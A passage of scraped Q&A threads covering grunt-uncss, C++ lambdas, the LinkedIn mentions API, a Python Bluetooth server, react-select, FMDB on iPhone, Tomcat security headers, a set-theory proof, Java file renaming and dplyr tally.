    // Load the plugins
    grunt.loadNpmTasks('grunt-uncss');

    // Default tasks.
    grunt.registerTask('uncss', ['uncss']);
};

EDIT: Precisa existir um arquivo.html vazio, que no meu caso é o index.html para o funcionamento

Problema com grunt-uncss


passing iterators to lambda

Question: I want to use the lambda expression for the following codes,
long long noOfways =0;
 auto dist =0;
 for(auto iter = noChocolets.begin()+1;iter!=noChocolets.end();iter++)
 {
     dist+=*(iter)-*(iter-1);
     noOfways+=  minOper(dist);
 }

I particularly want to convert  for loop to a lambda expression. How can I do that?
Comment: @Ansu - This is an XY Question. You have an issue X and you ask about the (**wrong**) solution you have in mind, Y. So ask about X directly.
Comment: @Ansu By the way you have a possible bug lurking in that `for` loop... What if `noChocolets` is *empty*? Then `noChocolets.begin() + 1` is *undefined!*
Comment: Why do you want to use a lambda?
Comment: @Someprogrammerdude - Moving forward to a range based for will require some restructuring of course. Not impossible, however.
Comment: Why do you want to change a working code, that (my opinion) doesn't need refactoring?
Comment: I want to see if there is a way to use lambda for the above code
Comment: Considering that you use iterator arithmetic inside the loop body, it's going to be really hard to replace with a lambda. *Why* do you want to do it? What problem do you think a lambda would solve that your current loop doesn't? And you still can't escape the loop if you want to iterate, there still has to be a loop *somewhere* even if you don't write it explicitly.
Comment: Try a [range-based for](http://en.cppreference.com/w/cpp/language/range-for) first. No need for a lambda.
Comment: @StoryTeller Kind of hard to use a range-based for if the OP needs the *previous* value (`*(iter - 1)`). The only thing that I can see replace the explicit loop is the two-input-iterator version of `std::transform`, which isn't really correct to use in this case since nothing is "transformed".
Answer: Try with std::accumulate.
 accumulate(noChocolets.begin()+1, noChocolets.end(), noChocolets[0],
    [&](long long left, long long right){
        dist += right-left;
        noOfways += minOper(dist);
        return right;
    });

Seems to work, although this is a strange and obscure solution. The original one is much cleaner if you ask me. I would consider this one to be an abuse of the accumulate method and DO NOT RECOMMEND to use it.
Working example
Comment: *"abuse of the accumulate"* - I disagree. There's nothing abusive about accumulating differences. And the named algorithm makes it clearer to me over a loop. +1
Comment: I mean accumulate is meant to return the result of accumulation. This one just returns the last element. This way this solution is obscure and abusive to me.
Comment: If the value wasn't discarded I'd agree with you. The algorithm is perhaps more general than is required here, but this is still a nice solution and you won't convince me otherwise :)
Answer: You can abstract it just in case you need to reuse it in the same block
auto f = [](auto& itercollection)
{
    for(auto iter = itercollection.begin()+1;iter!=itercollection.end();iter++)
    {
        dist+=*(iter)-*(iter-1);
        noOfways+=  minOper(dist);
    }
}

then just call it over:
f(noChocolets)
f(noChocolets2)
f(noChocolets3)

Comment: Honestly, suggesting for_each over a range-based for and no lambda, is weird
Comment: I want to replace the for loop with lambda, is it possible?
Comment: @Ansu, if you need to **iterate** you have to iterate, `lambdas` are just anonymous functions.
Comment: @StoryTeller, now you say it, yeah, its not correc, im gonna edit, thanks.
Answer: Usage of iterators are equivalent with range-base loop/lambda and std::for_each so there is always a way to replace one of the approaches to the other. But as mentioned in comments the iterator approach has advantage of its clearness... Exemplary c++17 solution:
#include <vector>
#include <algorithm>
#include <optional>

int main() {
    std::vector<int> v {1, 2, 3, 4};
    auto dist =0;
    long long noOfways =0;
    auto minOper = [](auto e) {return e;};
    std::optional<decltype(v)::value_type> prev {};
    std::for_each(v.begin(), v.end(), [&](auto e)  {
        if (prev.has_value()) {
            dist += e - prev.value();
            noOfways+=  minOper(dist);
        }
        prev = e;
    });
}

[live demo]
To back port it to c++11 use boost::optional and non-generic lambdas.

passing iterators to lambda


How to @mention persons and organizations in LinkedIn posts using the API?

Question: I'm trying to publish posts on LinkedIn using their API.
Based on their documentation (section: Mentions and Hashtags using Posts commentary) I need to use the person's (or organization's) URN and set in the commentary field:
{
  "author": "urn:li:organization:123456789",
  "commentary": "Hello @[Devtestco](urn:li:organization:2414183)",
  "visibility": "PUBLIC",
  "distribution": {
      "feedDistribution": "MAIN_FEED",
      "targetEntities": [],
      "thirdPartyDistributionChannels": []
  },
  "lifecycleState": "PUBLISHED",
  "isReshareDisabledByAuthor": false
}

My question is: How/where do I get a person's URN?
Do they have an API I can call and simply copy/paste a person's LinkedIn profile URL to then get their URN to mention them in the post?
So far I can't find in their documentation how to get a person's urn:li:person.
Only found how and where to use it, but not how to actually get it.
Comment: Also struggling with finding the URN value, I asked linkedin support and they have just pointed me to Stackoverflow.... I think if you haven't tidied your linkedin profile url then it maybe the number within that link, but I tidied mine up years ago and cannot find it anywhere in my profile now.
Answer: You'll need access to the Community Management API. Once you have that you can use the People typeahead to search within your own connections (https://learn.microsoft.com/en-us/linkedin/marketing/community-management/shares/posts-atmention-search-api?view=li-lms-2024-02&tabs=http)
e.g
https://api.linkedin.com/rest/peopleTypeahead?q=memberConnections&keywords=foo
or alternatively the vanityName lookup which requires the full linkedin url of the profile you want
https://api.linkedin.com/rest/vanityUrl?q=vanityUrlAsOrganization&vanityUrl=https%3A%2F%2Fwww.linkedin.com%2Fin%2Fhello-world%2F&organization={organizationUrn}
Both of these will return the person ID for your app. Unfortunately getting approval isn't such a walk in the park.


python Bluetooth error - No module named _bluetooth

Question: I am trying an example code in python which works as a bluetooth server. This code gives following error..
Traceback (most recent call last):
  File "/var/lib/cloud9/examples/Sa/rfcomm-server_py", line 7, in
    from bluetooth import *
  File "/var/lib/cloud9/examples/Sa/bluetooth/init.py", line 43, in
    from .bluez import *
  File "/var/lib/cloud9/examples/Sa/bluetooth/bluez.py", line 6, in
    import _bluetooth as _bt
ImportError: No module named _bluetooth
I am using beaglebone green wireless board in cloud9 IDE
<code>    # file: rfcomm-server.py
    # auth: Albert Huang <email@example.com>
    # desc: simple demonstration of a server application that uses RFCOMM   sockets
    # $Id: rfcomm-server.py 518 2007-08-10 07:20:07Z albert $

   from bluetooth import *

   server_sock=BluetoothSocket( RFCOMM )
   server_sock.bind(("",PORT_ANY))
   server_sock.listen(1)

   port = server_sock.getsockname()[1]

   uuid = "94f39d29-7d6d-437d-973b-fba39e49d4ee"

   advertise_service( server_sock, "SampleServer",
               service_id = uuid,
               service_classes = [ uuid, SERIAL_PORT_CLASS ],
               profiles = [ SERIAL_PORT_PROFILE ],
 #                   protocols = [ OBEX_UUID ]
                )

  print("Waiting for connection on RFCOMM channel %d" % port)

  client_sock, client_info = server_sock.accept()
  print("Accepted connection from ", client_info)

 try:
 while True:
    data = client_sock.recv(1024)
    if len(data) == 0: break
    print("received [%s]" % data)
 except IOError:
  pass

  print("disconnected")

 client_sock.close()
  server_sock.close()
   print("all done")
</code>
Answer: I didn't turn on the bluetooth on Beaglebone green wireless board, but after running the following command, the code above worked perfectly:
<code>$ bb-wl18xx-bluetooth
</code>


Any framework for Adobe Air Application?

Question: I want to used Adobe Air and SQLite (Local Database) in my application.
My Application is little-bit big, so i want to used some framework for this.
Is any framework for Adobe Air Application ?

Application in not used server site
  code only client site processing and
  also used SQLite database on local
  machine.....

or any other way which best for Big Air application development
Comment: You need to specify what tasks should the framework do. By the way, if you use ActionScript for that, all ActionScript frameworks are your candidates.
Answer: refer to this link http://goldsource.de/index.php/as3-resources/frameworks. There are a lot of frameworks, but you need to make a choice depending upon the functionality you require.
Answer: you can use this library for your appliation
https://marpies.com/works/breeze-db/
BreezeDb greatly simplifies the process of setting up, managing and interacting with SQLite database in Adobe AIR. It supports multiple database connections and keeps your app responsive by executing all operations asynchronously.


Is there a way to make react-select have collapsible groups?

Question: I am working with react-select, and a variant of it, react-multiselect-checkboxes. I would like to make the group sections collapsible, but have been unable to figure out how.
I have made a custom group header component that has a down caret added to it. But, I can't figure out the best way to add an "active" class to a particular group when this item is clicked. I was planning on just using CSS to show/hide the group divs based on what was active.
https://codesandbox.io/s/9o8o1n90mr
I would expect that when the caret is clicked, the proper items under the group would show/hide accordingly.
Answer: A bit hacky around mutating state but something along these lines? https://codesandbox.io/s/busy-sara-9wssn
Basically providing Group rather than GroupHeading and showing/hiding children based on the expanded state
Answer: you can create custom GroupHeader and register a click event and write a login in click handler to hide and show the options under a group
Check below sandbox. I have created a sample example over there.
https://codesandbox.io/s/gp4i4
so basically you will write below code to create custom GroupHeader component and,
logic to hide and show options under a group on click event.
// handle options group header click event
// hide and show the options under clicked group
const handleHeaderClick = id => {
  const node = document.querySelector(`#${id}`).parentElement
    .nextElementSibling;
  const classes = node.classList;
  if (classes.contains("collapsed")) {
    node.classList.remove("collapsed");
  } else {
    node.classList.add("collapsed");
  }
};

// Create custom GroupHeading component, which will wrap
// react-select GroupHeading component inside a div and
// register onClick event on that div
const CustomGroupHeading = props => {
  return (

 handleHeaderClick(props.id)}
    >
      <components.GroupHeading {...props} />

  );
};

It is not the optimal solution, but it works.
I have also written a blog about it, have a look
https://www.chintanradia.com/blog/react-select-collapsible-group/#collapsible-grouped-options
Comment: That's neat.
I wonder how would you handle state in case you want to have a caret/chevron icon indicating  if the group is collapsed or not. Thoughts?


Objective-c inserting data with iphone 4s

Question: I've made an app in which im using an sqlite database with fmdb wrapper for inserting and consulting data, the data is displayed into a table view, the problem is that when i run the app on an iphone 4 everything works well, but when i do it  on an iphone 4s it doesn't..could someone please help me fix this issue.
Here are parts of my code:
Loading DB:
<code>    aPools = [[NSMutableArray alloc] init];

NSString *path = [[NSBundle mainBundle] pathForResource:@"poolsDB" ofType:@"sqlite"];

mainDB = [[FMDatabase alloc] initWithPath:path];
[mainDB open];

FMResultSet *fResult = [ mainDB executeQuery:@"SELECT * FROM poolsData"];

while ([fResult next]) {
    poolsData = [fResult stringForColumn:@"Name"];
    [aPools addObject:poolsData];
}

[mainDB close];
</code>
Saving :
<code>-(void) saveIntoDB:(NSString *)name withVolume:(float)volume type:(NSString *)type andDesc:(NSString *)desc {

 [mainDB open];

[mainDB executeUpdate:@"INSERT INTO poolsData (Name,Volume,Type,Desc) values (?,?,?,?)",name,
 [NSNumber numberWithFloat: volume] ,type,desc, nil];

[mainDB close];
</code>
}
Could it be that the table view works in diferent ways beetwen devices?
Comment: Your going to have to be more specific. What exactly is not working well, and how does the manifest?
Comment: Sorry, ok the issue is that when i try to save a new record into the database in both iphone 4 and iphone 4s everything goes normal, both even say that the record has been made correctly, right after, the app reloads the tableview and the information of the database should be displayed in it, the 4 do it without problems, the 4s doesn't, it shows no changes to the tableview.

Sorry for my bad english, hope this can help, or do you need code?
Comment: Your code should work identically between the iPhone 4 and 4s. Have you tried fully deleting (hold down and tap 'x') each app and re-installing on the devices? This problem may be from leftover resources from an earlier build.
Comment: I fully agree to "mopsled". Another cause could be a different iOS version (however, this is also very very unlikely).
Answer: Try the following code:
for LOADING:
<code>aPools = [[NSMutableArray alloc] init];
NSString *path = [[NSBundle mainBundle] pathForResource:@"poolsDB" ofType:@"sqlite"];

FMDatabase* mainDB = [FMDatabase databaseWithPath:path];
if(![mainDB open])
{
  return NO; //since the error in opening database
}
FMResultSet *fResult = [ mainDB executeQuery:@"SELECT * FROM poolsData"];
while ([fResult next]) {
   poolsData = [fResult stringForColumn:@"Name"];
   [aPools addObject:poolsData];
}
[mainDB close];
</code>
code for SAVING:
<code>-(void) saveIntoDB:(NSString *)name withVolume:(float)volume type:(NSString *)type
  andDesc:(NSString *)desc {

  FMDatabase* mainDB = [FMDatabase databaseWithPath:path];
  if(![mainDB open])
  {
   return; //since the error in opening database
  }
  [mainDB beginTransaction];

  [mainDB executeUpdate:@"INSERT INTO poolsData (Name,Volume,Type,Desc) VALUES
  (?,?,?,?)",name,
  [NSNumber numberWithFloat: volume] ,type,desc];

  [mainDB commit];
  [mainDB close];
 }
</code>


How to add X-Content-Type-Options to tomcat configuration

Question: My client want me to fix Web App vulnerability of My Web App
 below is message about vulnerability of My Web App

The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'
This check is specific to Internet Explorer 8 and Google Chrome. Ensure each page sets a >Content-Type header and the X-CONTENT-TYPE-OPTIONS if the Content-Type header is unknown

Although I already found some solution to this issue , I am looking for solution from tomcat configuration.
Is it possible to make changes to tomcat configuration to accomplish this?
please give me any idea.
Comment: Not sure you can configure Tomcat to do this, but you could use a `Filter` to put this header on all responses.
Answer: If you're using Tomcat 8, it's really easy - add these two sections to your web.xml:
<filter>
    <filter-name>HeaderSecurityFilter</filter-name>
    <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>HeaderSecurityFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

The server response now has 'nosniff' and X-Frame-Options: DENY by default

More detail: Tomcat 8 Filter Configuration
Answer: Sample filter class code.
public class SampleResponseFilter implements Filter  {

  @Override
  public void destroy() { }

  @Override
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
      throws IOException, ServletException
  {
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse res = (HttpServletResponse) response;
    // Protection against Type 1 Reflected XSS attacks
    res.addHeader("X-XSS-Protection", "1; mode=block");
    // Disabling browsers to perform risky mime sniffing
    res.addHeader("X-Content-Type-Options", "nosniff");
    chain.doFilter(req,res);
  }

  @Override
  public void init(FilterConfig filterConfig) throws ServletException { }
}

Answer: I think you can achieve it on Tomcat level by the following steps:

create your filter, package it into jar, put jar into $CATALINA_BASE/lib/
add filter definition into $CATALINA_BASE/conf/web.xml
Comment: can you explain in more detail?
Comment: Sure, what you do is create a custom implementation of `javax.servlet.Filter`(let's name it `org.happenask.filter.ContentTypeOptionsFilter`), package it into jar with maven or whatever, drop it into `$CATALINA_BASE/lib/` and after that define it in `web.xml` as filter with name/mapping that you want and set filter class to `org.happenask.filter.ContentTypeOptionsFilter`
Answer: To supplement on the answer by Ed Noriss. If I just use a filter mappen like this
    <filter-mapping>
        <filter-name>HeaderSecurityFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

to target everything, there will be some unnecessary headers (x-xss-protection and X-Frame-Options) when loading media-resources such as jpg, png etc. (according to https://sonarwhal.com linting tool).
In order to avoid theses I've created two filters and mappings like this:
<filter>
    <filter-name>httpHeaderSecurity</filter-name>
    <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class>
    <async-supported>true</async-supported>
</filter>

<filter>
    <filter-name>httpHeaderSecurityNoX</filter-name>
    <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class>
<init-param>
        <param-name>antiClickJackingEnabled</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>xssProtectionEnabled</param-name>
        <param-value>false</param-value>
    </init-param>

    <async-supported>true</async-supported>
</filter>

...
<filter-mapping>
    <filter-name>httpHeaderSecurity</filter-name>
    <url-pattern>*.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
</filter-mapping>

<filter-mapping>
    <filter-name>httpHeaderSecurityNoX</filter-name>
    <url-pattern>*.jpg</url-pattern>
    <dispatcher>REQUEST</dispatcher>
</filter-mapping>

<filter-mapping>
    <filter-name>httpHeaderSecurityNoX</filter-name>
    <url-pattern>*.png</url-pattern>
    <dispatcher>REQUEST</dispatcher>
</filter-mapping>

and several more filter mappings hitting httpHeaderSecurityNoX for each of these extensions: png, gif, js, css, ico (maybe it could be contained in one single url-pattern?)
The init-param
xssProtectionEnabled

was not listed in the Tomcat web.xml comments, but found it here
https://vk4u.wordpress.com/2017/03/02/how-to-enable-security-filters-in-tomcat/


Proof $(A-\{a\}) \sim (B - \{b\}) $

Question: I must prove the following:
"let $A$ and $B$ two set, with $A \neq \emptyset$ and $B \neq \emptyset$ and $A \sim B$, and $a \in A$ and $b \in B$, then $(A-\{a\}) \sim (B - \{b\})$
The symbol $\sim$ is used for "equipotency"!!
Thanks in advance!
Comment: @AlfonsoFernandez, $A \sim B $  if  $\exists f:A \to B |f$ is bijective function
Answer: Let $f:A\to B$ a bijection. If $f(a)=b$, we may of course just restrict $f$ to $A\smallsetminus\{a\}$. Otherwise, there is some unique $c\in A\smallsetminus\{a\}$ and some unique $d\in B\smallsetminus\{b\}$ such that $f(a)=d$ and $f(c)=b.$ (Why?) How can we use these facts, and the function $f,$ to construct the bijection we're looking for?

In general, we don't need the casewise approach that I was hinting at, above. If $f:A\to B$ is a bijection and $a\in A,b\in B$, then we know there is a unique $c\in A$ and a unique $d\in B$ such that $f(c)=b$ and $f(a)=d.$ (Why?) You should be able to show that $c=a$ if and only if $b=d.$
Now, given such an $f,$ let's construct a function $g:A\to A$ defined by $$g(x)=\begin{cases}c & \text{if }x=a,\\a & \text{if }x=c,\\x & \text{if }x\in A\smallsetminus\{a,c\}.\end{cases}$$ Now, what can you say about $f\circ g:A\to B,$ given what you know about $f$ and how we defined $g$? What about the restriction of $f\circ g$ to $A\smallsetminus\{a\}$?
Comment: He is mathematically describing the intuition you should have. The bijection f matches up elements of A and B. But if you take a out of A then you have some element of B unmatched, and if you take b out of B there is an element of A unmatched. Gee, how are we going to fix that?
Comment: @Garnak: Which part(s)?
Comment: I do not understand..
Answer: Let $f:A\to B$ be a bijection. Intuitively you can think of $f$ as a bunch of strings tying each element of $A$ to an element of $B$ in such a way that each element of $B$ is tied to some member of $A$. If one of those strings ties $a$ to $b$ — i.e., if $f(a)=b$ — you can throw away $a$, $b$, and the string tying them together, and what's left is a bijection from $A\setminus\{a\}$ to $B\setminus\{b\}$. More formally, $g=f\upharpoonright(A\setminus\{a\})$ is bijection from $A\setminus\{a\}$ to $B\setminus\{b\}$. Here's a rough sketch of this nice situation.
$$\begin{array}{}
\begin{array}{ccc}
A&\overset{f}\longrightarrow&B\\ \hline
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
a&\longrightarrow&b\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet
\end{array}&&&
\begin{array}{ccc}
A\setminus\{a\}&\overset{g}\longrightarrow&B\setminus\{b\}\\ \hline
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\color{white}\bullet&\color{white}\longrightarrow&\color{white}\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\end{array}
\end{array}$$
But we can't expect to be so lucky: most likely $a$ is tied to something other than $b$, and therefore $b$ is tied to something other than $a$. Suppose that $a$ is tied to $b'$, and $a'$ is tied to $b$; more formally, $f(a)=b'$, and $f(a')=b$. If I throw away $a$, that breaks the string tying $a$ to $b'$ and leaves $b'$ not attached to anything in $A$. And if I throw away $b$, that breaks the string tying $a'$ to $b$ and leaves $a'$ not attached to anything in $B$. All of the other strings remain intact. I now have one loose end coming from $a'\in A$ and another loose end attached to $b'\in B$. I can get rid of both loose ends by tying them together. In other words, I'll define a function $g:A\setminus\{a\}\to B\setminus\{b\}$ that ties $a'$ to $b'$ and retains all of the unbroken threads from $f$:
$$g(x)=\begin{cases}
f(x),&\text{if }x\in A\setminus\{a,a'\}\\
b',&\text{if }x=a'\;.
\end{cases}$$
And here's a sketch of what's going on intuitively.
$$\begin{array}{}
\begin{array}{ccc}
A&\overset{f}\longrightarrow&B\\ \hline
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
a&\longrightarrow&b'\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
a'&\longrightarrow&b\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet
\end{array}&&&
\begin{array}{ccc}
A\setminus\{a\}&\longrightarrow&B\setminus\{b\}\\ \hline
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
&\color{red}\longrightarrow&\color{red}{b'}\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\color{red}{a'}&\color{red}\longrightarrow&\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\end{array}&&&
\begin{array}{ccc}
A\setminus\{a\}&\overset{g}\longrightarrow&B\setminus\{b\}\\ \hline
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\color{red}{a'}&\color{red}\longrightarrow&\color{red}{b'}\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\color{white}\bullet&\color{white}\longrightarrow&\color{white}\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\bullet&\longrightarrow&\bullet\\
\end{array}
\end{array}$$
Comment: @Garnak: No special sense: it simply **is** one. It's an injective function whose domain is $A\setminus\{a\}$ and whose range is $B\setminus\{b\}$. In case it's the notation that's confusing you, $f\upharpoonright X$ is the restriction of the function $f$ to the set $X$, where $X$ is some subset of the domain of $f$.
Comment: in what sense $g=f\upharpoonright(A\setminus\{a\})$ is bijection from $A\setminus\{a\}$ to $B\setminus\{b\}$ ??
Comment: ok...... thanks!!
Comment: @Garnak: You're welcome!
Answer: Here is an example for finite $A,B$. The general case is similar.

Assume that $A=\{1,2,3,4,5,6,7\},B=\{p,q,r,s,t,u,v\}, \ a=2, \ b=s$ and the function $f$ which gives $A\sim B$ is given by
$$
\begin{pmatrix}
1&\rightarrow&q\\
\color{red}{2}&\rightarrow&\color{green}{r}\\
3&\rightarrow&p\\
4&\rightarrow&t\\
\color{green}{5}&\rightarrow&\color{red}{s}\\
6&\rightarrow&v\\
7&\rightarrow&u\\
\end{pmatrix}
$$
Then the function $g$ which gives $(A-\{a\})\sim (B-\{b\})$ is given by
$$
\begin{pmatrix}
1&\rightarrow&q\\
3&\rightarrow&p\\
4&\rightarrow&t\\
\color{green}{5}&\rightarrow&\color{green}{r}\\
6&\rightarrow&v\\
7&\rightarrow&u\\
\end{pmatrix}
$$
Answer: Let $f$ be a bijection between $A$ and $B$. If $f(a)=b$ then this would be wonderful, since the restriction of $f$ to $A\setminus\{a\}$ would be a bijection onto $B\setminus\{b\}$.
But if $f$ is not such a bijection, we can make it into such:
Let $c\in A$ such that $f(c)=b$ and $d\in B$ such that $f(a)=d$. What could be a good solution for our problem? If there was a slightly modified version of $f$, say $\hat f$, such that $\hat f(c)=d$ and $\hat f(a)=b$, and otherwise $\hat f(x)=f(x)$, then we would be done.
But we actually just described the solution. Let $\hat f$ be the following: $$\hat f=\big(f\setminus\{\langle c,d\rangle,\langle a,d\rangle\}\big)\cup\{\langle a,b\rangle,\langle c,d\rangle\}$$
I leave it to you to verify that $\hat f$ is a bijection from $A$ onto $B$ and $\hat f(a)=b$. Now return to the first sentence of this answer, and finish.

Proof $(A-\{a\}) \sim (B - \{b\}) $


Como renomear um arquivo em java

Question: Dado o meu código abaixo:
import java.io.File;

public class App {

    public static void main(String[] args) {
        File diretorio = new File("/home/douglas/roms");
        File[] arquivos = diretorio.listFiles();

        for (File arquivo : arquivos) {
            String nome;
            String extencao = ".gba";
            nome = arquivo.getName();
            nome = nome.toLowerCase();
            nome = nome.substring(0, nome.indexOf(extencao));
            nome = cortarTrecho(nome, " # gba");
            String primeira = nome.substring(0, 1).toUpperCase();
            String restante = nome.substring(1);
            nome = primeira + restante;

            while (nome.contains(" ")) {

                String nomeFinal = "";
                String partes[] = nome.split("\\s+");

                for (int i = 0; i < partes.length; i++) {
                    nomeFinal += "*" + partes[i].substring(0, 1).toUpperCase() + partes[i].substring(1).toLowerCase();
                }
                nomeFinal = nomeFinal.substring(1) + extencao;
                nome = nomeFinal;

            }
            nome = nome.replace("*", " ");

        }

    }

    public static String cortarTrecho(String nome, String trecho) {

        int index = nome.indexOf(trecho);
        nome = nome.substring(0, index);
        return nome;

    }

}

Reparem que o nome do arquivo já está como eu desejo, como faço pra que o arquivo seja renomeado com o novo nome ?
Comment: veja se resolve: http://stackoverflow.com/a/2727534/5524514
Answer: Tente adicionar o seguinte no seu código:
arquivo.renameTo(new File(name + extencao));

Comment: @Douglas deu certo?
Comment: Sim, obrigado..show
Answer: Para retirar os números e outros caracteres do nome de arquivo de músicas:
public static void main(String[] args) {
        File dir = new File("C:\\Musicas");
        if (dir.exists()) {
            File[] files = dir.listFiles();
            if (files.length > 0) {
                for (File file : files) {
                    String f = file.getName();
                    String s = f.replaceAll("0|1|2|3|4|5|6|7|8|9|\\)|-|\\(", "").trim() + "3";
                    File oldName = new File("C:/program.txt");
                    File newName = new File("C:\\Musicas\\" + s);
                    if (file.renameTo(newName)) {
                        System.out.println("OK");
                    } else {
                        System.out.println("Erro");
                    }
                    System.out.println(s);
                }
            } else {
                System.out.println("dir vazio");
            }
        } else {
            System.out.println("dir não existe");
        }
    }
}

Answer: Uma outra maneira de renomear o arquivo é usando a library Commons IO do Apache.
Exemplo:
    FileUtils.moveFile(FileA, FileB);

Para ler o arquivo, você pode usar o getFile da própria library:
  FileUtils.getFile("src/test/resources/arquivo.txt"),
  FileUtils.getFile("src/main/resources/"), true);

Como renomear um arquivo em java


tally() and n() in same chain

Question: I'm trying to calculate probability of a certain result (e.g. the value precip >=3) but don't know how to combine tally and n in the same chain.
this works but i'd like to not depend on numsim:
numsim=2
simdF %>%
     group_by(iter) %>%
     tally( precip >= 3 ) %>%
     mutate(
          prob=n/numsim
     )

why not:
simdF %>%
     group_by(iter) %>%
     summarise(
         freq=tally( precip >= 3 ),
         prob=freq/n()
 )

     )

and on that note, how can I make 3 be an argument to a function that contains this block?
Thanks!
sample data:
simdF=structure(list(nsim = c(1,2,1,2,1,2), iter = c(5, 5,10, 10, 30, 30), locE = c(-1, -2, -2, -1, 0, 4), locN = c(-1, 4, -2, -3, 0, 2), precip = c(1.4142135623731, 4.47213595499958, 2.82842712474619, 3.16227766016838, 0, 4.47213595499958)), .Names = c("nsim", "iter", "locE", "locN", "precip"), class = c("tbl_df", "data.frame"), row.names = c(NA, -6L))

Answer: Looking at the documentation for ?tally

tally is a convenient wrapper for summarise that will either call n or sum(n) depending...

tally calls summarize, so it doesn't make sense to put it inside summarize. Just go directly to the n() or sum(n) that tally would. In this case, since you have a condition, use sum:
simdF %>%
     group_by(iter) %>%
     summarise(
         freq = sum(precip >= 3),
         prob = freq/n()
     )

As to

how can I make 3 be an argument to a function that contains this block

The same way you'd make anything an argument:
your_function = function(data, precip_lower_bound = 3) {
  data %>%
       group_by(iter) %>%
       summarise(
           freq = sum(precip >= precip_lower_bound),
           prob = freq/n()
       )
}

your_function(data = simdF, precip_lower_bound = 3)

Comment: i'm confused. The first mutate doesn't give you the right answer if you use n(); n() = 3 because the dF after tally() has 3 rows (I think?).   my working example also does not work in a function- `object 'precip_lower_bound' not found` .  using sum(precip >=3) makes sense now. thanks
Comment: does `n` as opposed to `n()` in my mutate example give you the number by group?
Comment: My mistake, my comment about `n` vs `n()` was before I realized `tally` added a column named `n`. As to the function, I updated my function example to be a more complete.
Comment: Thanks @Gregor I think I'm struggling because `n()` means "length of n" and `sum(n)` means "sum of n" which are two different operations. I can see why its programmed like this, to allow for conditionals, but the doc could use clarification.
Comment: Perhaps - I think the documentation assumes users are accustomed to this from base R, which is perhaps a bad assumption. Summing a boolean/logical expression is the usual way to count the number of times a condition is met - in dplyr, base R, data table, etc.

tally() and n() in same chain